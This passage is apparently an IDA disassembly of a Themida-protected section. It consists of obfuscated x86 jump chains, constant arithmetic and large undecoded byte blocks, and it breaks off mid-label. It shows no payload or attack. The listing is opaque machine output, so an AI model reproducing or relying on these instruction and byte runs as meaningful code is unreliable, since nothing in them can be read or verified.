; CODE XREF: Themida_:00561B65j sub ebp, ebx push dword ptr [esp] pop ebx add esp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_55B2C6 ; --------------------------------------------------------------------------- db 0BDh dd 4D363ECDh, 3527CD81h, 0EDD151E8h, 16CFF581h, 0EB8957F3h dd 0FFA95AE9h, 0E9535EFFh, 3481h, 1086C281h, 0FA010546h dd 0D583E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5594CA: ; CODE XREF: Themida_:00562B40j mov ebx, 4A7B7273h mov eax, 1E2697A4h add eax, ebx jmp loc_556E51 ; --------------------------------------------------------------------------- db 5Bh dd 8B24048Fh, 0D8E92424h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5594E7: ; CODE XREF: Themida_:0055B965j mov dx, [esp] add esp, 2 sub bl, 0F6h sub bl, 60h add bl, al push cx push dx mov dl, 60h jmp loc_566B36 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 68000000h, 5205h, 0E9241C89h, 688Eh, 0C381D3F7h, 15E767C5h dd 0C291EB81h, 0DA8903CAh, 0EC81525Bh, 4, 68243489h, 246557A3h dd 0FFB2A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_559539: ; CODE XREF: Themida_:005611DBj xchg edx, [esp] pop esp jmp loc_568194 ; --------------------------------------------------------------------------- aQhJ db 'Qh¿J',0 align 4 dd 68242489h, 39FDh, 0E9242C89h, 1EB2h ; --------------------------------------------------------------------------- loc_559558: ; CODE XREF: Themida_:0055EB7Cj mov edx, 3AA75AB1h not edx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_563EB0 ; --------------------------------------------------------------------------- dd 0C8BCF29h, 553FE924h, 0C2830000h, 24143304h, 33241431h dd 0D35C2414h, 0A9E92424h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55958F: ; CODE XREF: Themida_:0055FF6Bj add dword ptr [esp], 4 pop ebx push esi mov esi, 714350C0h jmp loc_55F6DD ; --------------------------------------------------------------------------- aSvso db 'SVé®',1Bh,0 align 2 aSp db '\é¯Ð',0 align 4 dd 5C243487h, 8B24048Fh, 0C8852424h, 967AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5595BE: ; CODE XREF: Themida_:005532D5j add edi, 292F3F83h neg edi sub edi, 0B1295082h add ebx, 63BC5193h jmp loc_55F882 ; --------------------------------------------------------------------------- loc_5595D7: ; CODE XREF: Themida_:00561576j pop ecx push eax jmp loc_5599F3 ; --------------------------------------------------------------------------- dw 0F000h dd 272C7D2Ch, 0A8E9B704h, 29FFFFB3h, 0B9E981F9h, 8B2C6139h dd 0C481243Ch, 4, 0F181D9F7h, 56925324h, 6BA7E9h, 0E930FF00h dd 0FFFF9628h, 585ACB81h, 36E9058Eh db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55961B: ; CODE XREF: Themida_:00564B6Dj dec edi jmp loc_55D420 ; --------------------------------------------------------------------------- loc_559621: ; CODE XREF: Themida_:00567189j sub [edi+24h], ecx push dword ptr [esp] jmp loc_564A0E ; --------------------------------------------------------------------------- dd 83243C8Bh, 348704C4h, 0BB535C24h, 4, 0FFCB79E9h, 0E9E789FFh dd 0CC51h, 62C6BA52h, 5EE966FDh, 5C0000C8h, 0E9240489h dd 6626h, 582434FFh, 4C481h, 50660000h, 0FFDD45E9h, 2474FFFFh dd 242C8B04h, 4C481h, 48F0000h, 0E9535C24h, 81B6h ; --------------------------------------------------------------------------- loc_559684: ; CODE XREF: Themida_:0056451Bj push edx push ebp mov ebp, 59297F0Ah sub ebp, 0CC828BBh sub ebp, 4C61564Bh push ebp jmp loc_55B357 ; --------------------------------------------------------------------------- db 58h, 0E9h, 0BFh dd 89FFFFE1h, 0DBAE9E7h, 0F7810000h, 60366EBFh, 39E9F901h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5596B7: ; CODE XREF: Themida_:00561B06j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_561A74 ; --------------------------------------------------------------------------- dd 4BDh, 5DE92900h, 31240C33h, 0C33240Ch, 0D1FE924h, 0C310000h dd 240C3324h, 5024248Bh, 42474FFh, 5826E958h, 348B0000h dd 4C48124h, 0E9000000h, 88A4h, 78116857h, 0C15F406Ch dd 4CE906E7h, 5100001Ah, 0D1CBE9h, 4C78100h, 50000000h dd 4B8h, 5FEF8100h, 8145E75Fh, 0DA22C4EFh, 0F580E908h dd 1C33FFFFh, 3567E924h, 0F2810000h, 29BD180Eh, 3F02F281h dd 4A4A7F59h, 0C313C281h, 0D6018B6Dh, 0A755E9h, 40478F00h dd 0FF94DBE9h, 93ED81FFh, 813CED13h, 903FD5C5h, 4BE95A72h dd 890000B3h, 0EC81241Ch, 4, 81242489h, 42404h, 1C8B0000h dd 0D21CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55978A: ; CODE XREF: Themida_:005621AAj mov esi, 0C077F777h jmp loc_5537AB ; --------------------------------------------------------------------------- dd 5C241487h, 4C681h, 89E90000h, 890000CEh, 8BE95DEFh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5597AB: ; CODE XREF: Themida_:0055C6BCj xor ecx, 0FEFADBF5h add eax, ecx jmp loc_563CCE ; --------------------------------------------------------------------------- dd 55BDE89h, 244906F9h, 7C183D2Dh, 0E9F02932h, 5A92h, 288CC380h dd 8CEB80CBh, 9CC3E9h, 472C6800h, 14890000h, 5A1DBA24h dd 0EA8126ECh, 15D84309h, 7FD0BD55h, 0EA092AD2h, 13AFE95Dh dd 680000h, 0FF000000h, 34FF2434h, 0A6E95B24h, 290000BAh dd 0FA015AD7h, 79EAE9h, 24148900h, 994DE9h, 0C875D00h dd 96CEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559826: ; CODE XREF: Themida_:00566DBAj mov esi, 3F0A7FAAh inc esi or esi, 15C04F98h sub esp, 4 jmp loc_5624A6 ; --------------------------------------------------------------------------- loc_55983A: ; CODE XREF: Themida_:00560215j mov esp, [esp] push 56Bh mov [esp], eax push esp jmp loc_563A55 ; --------------------------------------------------------------------------- aCiSw db '°—ˆÆéW$',0 align 4 dd 33241431h, 0E95C2414h, 0FFFF9BC7h, 7213DE35h, 0F1152D2Fh dd 0E91F60h, 29000000h, 8FE958C6h, 5F000034h, 565AD509h dd 9B3AE9h db 0 ; --------------------------------------------------------------------------- loc_559881: ; CODE XREF: Themida_:00558E9Ej mov ecx, 38653162h shr ecx, 1 push ecx not dword ptr [esp] jmp loc_561561 ; --------------------------------------------------------------------------- loc_559891: ; CODE XREF: Themida_:005591A7j push eax not dword ptr [esp] pop eax or eax, 5F951918h jmp loc_565C90 ; --------------------------------------------------------------------------- dd 0AC2D7CB9h, 244C3144h, 815D5904h, 0AC2D7CF5h, 0E9295E44h dd 240C875Dh, 8924248Bh, 0BE56243Ch, 74461981h, 0F75EF789h dd 3E7C1DFh, 0EC668h, 242C8900h, 9A60AABDh, 68D5F74Fh dd 53C0h, 0E9240489h, 5B3Dh ; --------------------------------------------------------------------------- loc_5598E8: ; CODE XREF: Themida_:0055503Bj pop ebx xor ebp, [esp] xor [esp], ebp jmp loc_552F11 ; --------------------------------------------------------------------------- loc_5598F4: ; CODE XREF: Themida_:00554338j mov ebx, 56F15E4h jmp loc_55812F ; --------------------------------------------------------------------------- dw 5158h dd 0A724DEB9h, 59C8311Bh, 8124148Bh, 4C4h, 0D5ABE900h dd 0EF01FFFFh, 243C875Dh, 24048F5Ch, 0E924248Bh, 92C5h dd 0E0C1405Fh, 7B190508h, 0EA81AFE4h, 6B334B58h, 0C281C229h dd 6B334B58h, 8EE95058h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559947: ; CODE XREF: Themida_:00553F73j push dword ptr [esp] pop esi jmp loc_55D635 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFFAEFCh ; --------------------------------------------------------------------------- loc_559958: ; CODE XREF: Themida_:00568184j push ecx jmp loc_55CF15 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C48358h, 0E904C483h, 0FFFFF0E0h, 0FF3C77FFh dd 0ABE92434h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55997B: ; CODE XREF: Themida_:00567BB7j mov ebx, [esp] push ebx jmp loc_557648 ; --------------------------------------------------------------------------- aSSni db 'S³^éN›',0 align 4 dd 8324048Bh, 2CE904C4h, 0FF000021h, 2FE92434h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55999F: ; CODE XREF: Themida_:0055B35Ej pop edx sub edx, 579511BBh pop ebp add eax, edx pop edx xor eax, [esp] jmp loc_55BB83 ; --------------------------------------------------------------------------- dw 48Fh aHA db '$\hÎa',0 dw 0E900h dd 8CA2h, 6624248Bh, 6824048Bh, 69A5h, 0E9240489h, 0B0Ch dd 0D5C3E95Eh, 0E956FFFFh, 631Ah, 0F1B68h, 243C8900h, 0B738E9h dd 2E95400h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5599F3: ; CODE XREF: Themida_:005595D9j mov eax, 5B832367h jmp loc_5567A9 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0C104C483h, 0E98107E9h, 0D81020h, 38FCBF57h, 0EE811620h dd 0FFD2F3Fh, 0C681FE01h, 0FFD2F3Fh, 2AC6815Fh, 11C1E00h dd 2AEE81CEh, 811C1E00h, 2038FCEEh, 0BF575916h, 4, 565FFE01h dd 42474FFh, 8324348Bh, 48F04C4h, 24248B24h, 81C8BE0Fh dd 4ECh, 241C8900h, 0C381E389h, 4, 0D191E9h, 81C30100h dd 774129C3h, 8AE95844h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559A77: ; CODE XREF: Themida_:005648A8j add ecx, edx pop edx add ebx, ecx pop ecx push 537Ch mov [esp], ebp mov ebp, 38571E04h add ebx, 22BD61A3h jmp loc_561639 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0E9512404h, 70F3h, 95AD389h, 3434E9D8h, 89530000h dd 4C381E3h, 0E9000000h, 9D6Dh, 1F5D6856h, 815E7D1Bh, 675C2DE6h dd 5D36684Ch, 0C890000h, 0FFFFB924h, 0CE01FFFFh, 0CCE8159h dd 81525628h, 797D2DF6h, 3910E97Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559AEA: ; CODE XREF: Themida_:00563082j mov [esp], eax mov eax, 4 sub edx, eax pop eax xchg edx, [esp] mov esp, [esp] mov [esp], ebp push 28F745FBh jmp loc_55B36B ; --------------------------------------------------------------------------- aBAASng db 'Ç|a',27h,'éN£',0 dw 0F700h dd 0E5BD55DFh, 8147106Dh, 603B92CDh, 1C58110h, 10891ADh dd 0EF815DEFh, 54E752FCh, 11CD6852h, 0E95A1A85h, 0FFFFBF02h dd 648D685Ch, 34890000h, 5CBB5324h, 8119F63Dh, 55802F3h dd 0BE9533Dh db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559B57: ; CODE XREF: Themida_:00563439j sub dl, ah pop eax sub dl, 0FFh xor dl, 0ABh jmp loc_5573BB ; --------------------------------------------------------------------------- db 56h, 0E9h, 0FBh dd 89FFFFE1h, 0C3815AD1h, 6F890C92h, 2E9CB01h, 8FFFFFDBh dd 248B2404h, 4896624h, 14F76624h, 48B6624h, 25E95224h dd 0FF0000D3h, 34FF2434h, 81535824h, 4ECh, 24248900h, 4240483h dd 6B83E95Bh, 0C3810000h, 4, 0E904EB83h, 86DCh, 41B951ADh dd 557C3971h, 8C1149BDh, 781D0562h, 0BEE95B55h, 8100009Ah dd 0C7D1D1C1h, 0FFC181C0h, 56FFFFFFh, 783A6CBEh, 90C18129h dd 29160950h, 90E981F1h, 8B160950h, 0C4832434h, 27FA2D04h dd 632D01B2h, 13BA675h, 63BA52C8h, 13BA675h, 0EC835AD0h dd 24348904h, 79FE9h, 4C48100h, 1000000h, 7FC781EFh, 8B5A7111h dd 2FE9242Ch, 8B0000BDh, 5450242Ch, 40558h, 4050000h, 87000000h dd 0E95C2404h, 0FFFFF8B9h, 0E9240C8Bh, 555h ; --------------------------------------------------------------------------- loc_559C50: ; CODE XREF: Themida_:0055AE87j pop edx sub ebp, ecx mov ecx, [esp] add esp, 4 sub ecx, ebp jmp loc_563FCD ; --------------------------------------------------------------------------- loc_559C60: ; CODE XREF: Themida_:00561CD8j push 7878h mov [esp], edx mov edx, 662144BFh add edx, 64F2668Ch shr edx, 8 sub edx, 6FB514FCh sub edx, 9CACA1ABh jmp loc_5660D0 ; --------------------------------------------------------------------------- loc_559C87: ; CODE XREF: Themida_:0055693Bj shr edx, 1 jmp loc_55DE85 ; --------------------------------------------------------------------------- dw 248Bh dd 2434FF24h, 81685559h, 0E9000062h, 8549h ; --------------------------------------------------------------------------- loc_559CA0: ; CODE XREF: Themida_:005675E5j sub ebp, 44D54BD1h sub ebp, ebx add ebp, 44D54BD1h pop ebx jmp loc_5613B3 ; --------------------------------------------------------------------------- dd 348BF789h, 0BD55E924h, 0C481FFFFh, 4, 0ED81DDF7h, 3000914h dd 3F3CE9h, 58545000h, 405h, 4E88300h, 0FFCE84E9h, 240C89FFh dd 78E95052h, 66000037h, 56240C89h, 0BA525E54h, 6036395h dd 436FE9h, 0BFED8100h, 5A348819h, 5C242C87h, 31243433h dd 34332434h, 24248B24h, 0E9240489h, 0FFFF8F1Ch ; --------------------------------------------------------------------------- loc_559D1C: ; CODE XREF: Themida_:005533E0j xchg eax, ebp push edi sub esp, 4 mov [esp], edx push ecx push eax mov eax, 6A8A16F1h add eax, 7E6109A1h shr eax, 1 push ebx mov ebx, 4285721Bh jmp loc_55321B ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Fh, 0FFF9CCE9h, 0E6E780FFh, 515ACF80h, 0C5804CB5h dd 0CEF80ACh, 0C780EF00h, 0FD30590Ch, 0E9E8305Bh, 0FFFFFEE0h dd 0B8240489h, 68261217h, 0E958C789h, 2DD9h, 2474FF52h dd 48F5A04h, 0D091E924h, 1C87FFFFh, 0C895C24h, 52D1B924h dd 0E1C10B47h, 28C66805h, 13E90000h, 5E000043h, 34FFDE31h dd 0C4815B24h, 4, 685EF101h, 6A7Dh, 0B8240489h, 2, 48BC101h dd 4C48324h, 0FFE6B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_559DC9: ; CODE XREF: Themida_:005545B4j push ebp not dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push esi push ebp pop esi push dword ptr [esp] pop ebp add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55A9EA ; --------------------------------------------------------------------------- dd 45C3815Bh, 8135702Eh, 327953E3h, 0DACB8146h, 4B127C51h dd 4242BE56h, 0EB819F2Bh, 5ED23154h, 533AE9h, 0D8C28100h dd 8111A927h, 196E16F2h, 0FFD521C9h, 565A2434h, 692BE9h db 0 ; --------------------------------------------------------------------------- loc_559E29: ; CODE XREF: Themida_:0055C6CEj push 18A06DEh mov edx, [esp] add esp, 4 push edi mov edi, 6903B82h xor edx, edi pop edi sub edx, 71A3D5Bh jmp loc_55D537 ; --------------------------------------------------------------------------- db 1 dd 0C1815BD9h, 3EF43A87h, 5FEBC181h, 1EE94122h, 5000003Fh dd 383126B8h, 0F3F1E911h, 405FFFFh, 2D000000h, 4, 5C240487h dd 81243489h, 4ECh, 9C5AE900h, 34310000h, 24343324h, 6624248Bh dd 0E9241489h, 0B4E4h, 8124048Bh, 4C4h, 81974000h, 0F37CB9F7h dd 29F7817Ch, 19DE3EEh, 0BD555FFAh, 2, 72C4C281h, 0C2810731h dd 289C11F0h, 0FFD011E9h, 24048BFFh, 504C483h, 3F3215Bh dd 0D4E9C289h, 0F70000C0h, 81D6F7D6h, 0BB47C3EEh, 0BB53551Ah dd 65791C69h, 5263F4BDh, 5BDD2982h, 5BB9E94Dh, 0C890000h dd 869DE924h, 0DF890000h, 77C7815Bh, 816C1F35h, 0C13DDEF7h dd 98F7815Dh, 0E9371A5Fh, 866Ch, 4907C2BAh, 5AD60977h dd 0CE81DEF7h, 9A06472h, 89C2BF57h, 0FE31C89Ah, 0F401E95Fh dd 74FFFFFFh, 8F5E0424h, 0F4E92404h, 8B0000C3h, 97E92404h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559F4F: ; CODE XREF: Themida_:00553511j pop edi pop ebp and eax, esi jmp loc_562F89 ; --------------------------------------------------------------------------- dd 0E92C77FFh, 0FFFF8CD8h ; --------------------------------------------------------------------------- loc_559F60: ; CODE XREF: Themida_:0055B04Fj mov ecx, edi pop edi shl ecx, 2 jmp loc_556BD0 ; --------------------------------------------------------------------------- db 28h dd 24148BD3h, 0FF9438E9h, 240431FFh, 31240433h, 0E9502404h dd 0FFFFC166h ; --------------------------------------------------------------------------- loc_559F84: ; CODE XREF: Themida_:0055730Bj mov esp, [esp] jmp loc_552DFA ; --------------------------------------------------------------------------- dd 8704EF83h, 0D2E9243Ch db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559F97: ; CODE XREF: Themida_:00565F23j shr edx, 7 push ebx mov ebx, 2B6B60A1h jmp loc_55F709 ; --------------------------------------------------------------------------- db 81h, 0E5h, 20h dd 557BA151h, 0FFC45BE9h db 0FFh ; --------------------------------------------------------------------------- loc_559FB1: ; CODE XREF: Themida_:00566EFEj push edx jmp loc_560D8B ; --------------------------------------------------------------------------- loc_559FB7: ; CODE XREF: Themida_:00562B09j push esi mov esi, 4 jmp loc_558298 ; --------------------------------------------------------------------------- aAUfy db 'µ (îfY',0 aPEaLsiy db 'ÆP´e€Ä«é¨y',0 dd 48B6600h, 0A09FE924h, 48F0000h, 1C895C24h, 21EE6824h dd 0FE90000h, 10000B6h, 1C8758C3h, 4FF5C24h, 39E99C24h dd 8BFFFF8Ch, 0C4832434h, 72BA5204h, 81303E3Ch, 0F0DBA7EAh dd 0F6CA812Fh, 811DC043h, 46415DE2h, 94EA8128h, 29BAB3FBh dd 0CF015AD7h, 45C9C781h, 96684D90h, 89000057h, 1AE9241Ch dd 8100005Fh, 0EE69A6EEh, 0EE814E5Dh, 8A679EA1h, 555EF389h dd 0FFFFFFBDh, 5DEB01FFh, 3D8E9h, 81EB8100h, 5F1E5414h dd 1D7A612Dh, 30990564h, 90E94DE7h, 8B0000DFh, 0C4812404h dd 4, 0E9240C33h, 0BFDDh, 98BCE95Ch, 0D6010000h, 4EE835Ah dd 0E9243487h, 0A041h, 41D768h, 243C8900h, 0AF51E9h db 0 ; --------------------------------------------------------------------------- loc_55A0A1: ; CODE XREF: Themida_:00561AF8j dec ebx xor ebx, 69A9143Ah add ebp, ebx mov ebx, [esp] push ebx mov ebx, esp sub esp, 4 jmp loc_567CFB ; --------------------------------------------------------------------------- db 0BFh dd 5692427Fh, 7F39C781h, 474F7A7Eh, 9EDFF781h, 0C781CEA8h dd 0EF27F846h, 4247C01h, 50243C8Bh, 405E089h, 83000000h dd 48704C0h, 10685C24h, 0E9000028h, 0FCDh, 0F181D1F7h dd 0E45DE872h, 0C8BCA31h, 4C48124h, 81000000h, 8EACD0C2h dd 26EE81F9h, 0E92B8460h, 517Ch, 0FF8B1BE9h, 1C77FFFFh dd 1858669Dh, 0E99C2404h, 0FFFF8B0Ch ; --------------------------------------------------------------------------- loc_55A12C: ; CODE XREF: Themida_:00557F0Cj mov esi, ebp pop ebp sub ecx, 5FA10DA6h add ecx, esi add ecx, 5FA10DA6h pop esi mov edx, ecx pop ecx sub edx, 0FFFFFFFFh shl edx, 5 push esi mov esi, 1 jmp loc_5544B4 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0C513E9h, 58EA8100h, 0E90C1977h, 8F97h, 0D188FAB2h dd 8324148Bh, 0EC8104C4h, 4, 0B2241489h, 33686628h, 0C896661h dd 30AAB124h, 0C8B66CAh, 2A28E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A192: ; CODE XREF: Themida_:00555C1Aj mov esp, [esp] add esp, 4 imul ecx, eax push ecx pushf jmp loc_552C38 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5FE7E9h, 59CE2900h, 0C6B5E9h, 2434FF00h db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 0B9Ah jmp loc_567D0C ; --------------------------------------------------------------------------- dd 0E9E08950h, 0FFFFFC96h, 9419E95Eh, 0C9FE0000h, 0E901E980h dd 9948h, 0BB535D54h, 0BA655AFh, 0FFC025E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A1F1: ; CODE XREF: Themida_:0055AD32j and esi, edx pop edx shr esi, 6 jmp loc_5566C2 ; --------------------------------------------------------------------------- loc_55A1FC: ; CODE XREF: Themida_:005540A7j push 1F24h mov [esp], ebp push dword ptr [esp+4] jmp loc_566205 ; --------------------------------------------------------------------------- db 5Bh, 68h, 40h dd 89000018h, 18B5240Ch, 0FFEFA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A21D: ; CODE XREF: Themida_:005559D7j add dword ptr [esp], 1 pop edi or edi, 1CBE37D9h sub edi, 0AFAD6C6Ch sub esi, 5A5B0810h jmp loc_553509 ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 148B5424h, 4C48124h, 81000000h, 4C2h, 0BA525600h, 4 dd 8BA6E9h, 241CF700h, 89D6E99Ch, 5059FFFFh, 9004BAB8h dd 4AED8102h, 123AE03h, 4AC581C5h, 5823AE03h, 0F051ED81h dd 0E9894116h, 4ABD555Dh, 45739B64h, 0BA525645h, 0F2B2C9Dh dd 575AD689h, 1821B7BFh, 0FEF7816Fh, 0C1059514h, 0EFC107E7h dd 0AD37E902h, 0CFFFFFFh, 85E99C24h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2B3: ; CODE XREF: Themida_:0055B526j pop ebx push edx mov edx, 14693B8Ch and edx, 7D400868h shl edx, 1 jmp loc_553C2D ; --------------------------------------------------------------------------- aVwsli db 'VW髨',0 align 2 loc_55A2CE: ; CODE XREF: Themida_:00567F5Dj push edi jmp loc_55E690 ; --------------------------------------------------------------------------- dd 0BAE9CA01h, 5CFFFFE6h, 0BB241C89h, 476C2A84h, 4FBFE381h dd 30E95E16h, 0BA000058h, 49FB628Ah, 97FE9h, 24148B00h dd 4C481h, 348B0000h, 4C48324h, 52B86857h, 24890000h, 24048324h dd 0C7815F04h, 4, 4EF81h, 0FE90000h, 8BFFFFB0h, 0C483242Ch dd 24048704h, 11A3E9h, 24540100h, 815A5A04h, 4C2h, 4C28300h dd 0FFFA2FE9h, 2EDC1FFh, 33E1ED81h, 0BF576BB4h, 0CE0588Fh dd 9DEEE9h, 5E545600h, 4C681h, 0EE810000h, 4, 2474FF56h dd 48F5E04h, 34895C24h, 2474FF24h, 2434FF04h, 4C4835Eh dd 0AA7DE9h db 0 ; --------------------------------------------------------------------------- loc_55A389: ; CODE XREF: Themida_:00566FDCj push edx mov edx, 7C00241Fh jmp loc_567BE7 ; --------------------------------------------------------------------------- dd 6624248Bh, 66793D68h, 68241489h, 7211h, 92B4E9h, 2BD00h dd 0EF890000h, 0E9F8015Dh, 0FFFFDC9Ah, 8740ADBEh, 8EEC149h dd 5F46EE81h, 0F001FE97h, 5E2434FFh, 5904C483h, 4BA52h dd 622D0000h, 57ED36Ch, 443836C9h, 9548E9h, 4C48300h, 29C3E9h dd 4D006800h, 3C890000h, 0E1895124h, 0FFD0DCE9h, 24248BFFh dd 0B8240489h, 4, 0D07E9h, 256EBD00h, 0EDC15F06h, 0E9DDF706h dd 0FFFFC0FBh, 4EC81h, 1C890000h, 15685624h, 5E342517h dd 0FFE969E9h, 0F7DBF7FFh, 8E44E9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A43A: ; CODE XREF: Themida_:00554734j push ebp push esi jmp loc_565813 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5804h, 24248B24h, 405h, 20500h, 0FF500000h, 58042474h dd 0E924048Fh, 0BB35h, 70C2E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A46A: ; CODE XREF: Themida_:005554F8j pop edx sub ebp, 7F645D6Dh sub edi, 59D20283h sub edi, ebp jmp loc_5562EB ; --------------------------------------------------------------------------- loc_55A47E: ; CODE XREF: Themida_:005589DFj push ebx push eax mov eax, esp add eax, 4 jmp loc_55FF61 ; --------------------------------------------------------------------------- dd 0CDFEC5FEh, 99E9D5F6h, 0D10000D8h, 7931E9EBh, 0EF810000h dd 112944CDh, 96E9F701h, 5Fh, 865966EBh, 359BE9C3h, 875B0000h dd 535C243Ch, 2BBh, 258E2D00h, 0D8017495h, 0FFF513E9h dd 3877FFFFh, 0E92434FFh, 916Fh ; --------------------------------------------------------------------------- loc_55A4D8: ; CODE XREF: Themida_:0056117Ej mov [esp], ecx jmp loc_55B428 ; --------------------------------------------------------------------------- dd 4EC81h, 17E90000h, 8BFFFF88h, 0EC81243Ch, 4, 4F1CE9h dd 242C8700h, 30C18159h, 0E9A5364Bh, 0FFFFAFFDh ; --------------------------------------------------------------------------- loc_55A508: ; CODE XREF: Themida_:005619D3j push 6788h mov [esp], ebp jmp loc_5532C1 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C4h dd 4, 5C24048Fh, 24040166h, 870EE99Ch, 1487FFFFh, 24248B24h dd 4BB0F66h, 0FDE99C24h, 0FFFFFF86h, 669D1C77h, 24041058h dd 86EEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A54A: ; CODE XREF: Themida_:005630E0j add eax, 7602700Ch pop edi add eax, esi add eax, 7D4F0290h jmp loc_5663A1 ; --------------------------------------------------------------------------- loc_55A55C: ; CODE XREF: Themida_:0055BDF2j mov ebp, 4 add eax, ebp jmp loc_5660BE ; --------------------------------------------------------------------------- dd 592434FFh, 8904EC83h, 9168242Ch, 89000061h, 79E92424h dd 10000D9h, 7FE8E9CFh, 0D8010000h, 220C9405h, 7B3A0520h dd 85055EDCh, 68550511h, 5175h, 56241C89h, 0AB27CA68h dd 0EE815E4Ah, 0A34D297h, 89F08950h, 0D41DE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A5B6: ; CODE XREF: Themida_:00566B46j push ecx jmp loc_56108B ; --------------------------------------------------------------------------- dd 42474FFh, 0FFBE5BE9h, 0E9E789FFh, 0B712h ; --------------------------------------------------------------------------- loc_55A5CC: ; CODE XREF: Themida_:005587D7j add [eax], edi push dword ptr [esp] jmp loc_562085 ; --------------------------------------------------------------------------- loc_55A5D6: ; CODE XREF: Themida_:0055D148j push edx mov edx, ebx jmp loc_5531B0 ; --------------------------------------------------------------------------- dw 0C181h dd 0FFFFFFFFh, 0EC96F181h, 74E9ACFDh db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A5EF: ; CODE XREF: Themida_:00566227j push 569Dh mov [esp], edi mov edi, 1 jmp loc_565A95 ; --------------------------------------------------------------------------- loc_55A601: ; CODE XREF: Themida_:00566ACAj add esp, 4 pop ecx add edi, eax mov eax, [esp] add esp, 4 jmp loc_563417 ; --------------------------------------------------------------------------- loc_55A618: ; CODE XREF: Themida_:005663C4j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esp push eax mov eax, 4 jmp loc_55301C ; --------------------------------------------------------------------------- db 81h dd 9A188FF6h, 384AE932h, 0E9500000h, 1EF0h, 793B68h, 24148900h dd 1004AFBAh, 0E5C5E901h, 425AFFFFh, 70C2F281h, 0D7011455h dd 4C7835Ah, 8B67E9h, 0CAC38000h, 50B7535Ah, 0E950EF80h dd 1CDh ; --------------------------------------------------------------------------- loc_55A680: ; CODE XREF: Themida_:00567178j xor [esp], edi xor edi, [esp] pop esp pop esi push 2C37h mov [esp], ebx jmp loc_566AB4 ; --------------------------------------------------------------------------- db 0F6h, 0DBh, 80h dd 0CB8043E3h, 44C380FAh, 0D830CFB0h, 83241C8Bh, 1E2404C4h dd 0E9A5B652h, 0A6ACh, 2C5815Ch, 87000000h, 248B242Ch dd 9CC88424h, 0FF856FE9h, 0E9F000FFh, 0BE5Ch, 8924248Bh dd 0EC832434h, 24248904h, 4240481h, 0E9000000h, 33BEh dd 0BA241489h, 0DA61FE05h, 575AD329h, 9D11E9h db 0 ; --------------------------------------------------------------------------- loc_55A6F9: ; CODE XREF: Themida_:0055521Bj xor esi, ebp mov ebp, [esp] add esp, 4 mov edi, esi pop esi pop edx and eax, edi pop edi or edx, eax shl edx, 1 push esi jmp loc_55EEFD ; --------------------------------------------------------------------------- dw 0EBC0h dd 66D3F606h, 805DB551h, 0C3801FEBh, 80EB28BFh, 0C380BFEBh dd 0D765E91Fh, 0E3C10000h, 12C38103h, 1D7A44Eh, 0D30BE9DEh dd 0C481FFFFh, 2, 521CF380h, 0C2FE2BB2h, 6866D2F6h, 14280000h dd 24148A24h, 0FE02C483h, 10C0E9CAh, 0EB280000h, 973DE959h dd 0EC83FFFFh, 240C8904h, 0C181E189h, 4, 62ECB850h, 812D43C1h dd 251A4523h, 58D62B6Ah, 0C3250705h, 41CA2D2Dh, 0B951149Dh dd 0DE85F15Dh, 2959C801h, 0C8758C1h, 3C895C24h, 2268BF24h dd 0E7C16D24h, 0FBCF8103h, 8140B93Ah, 0E71F5AF7h, 0F7D7F71Fh dd 5CF781D7h, 81338A21h, 650F86EAh, 81FA0160h, 650F86C2h dd 0D2F75F60h, 0FF9820E9h, 0C7815FFFh, 805289FFh, 595FFA29h dd 3AD0E952h, 5F680000h, 89000053h, 65BA2414h, 8113F73Dh dd 670D80F2h, 7BEA815Ch, 56793E31h, 0FFC6F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A809: ; CODE 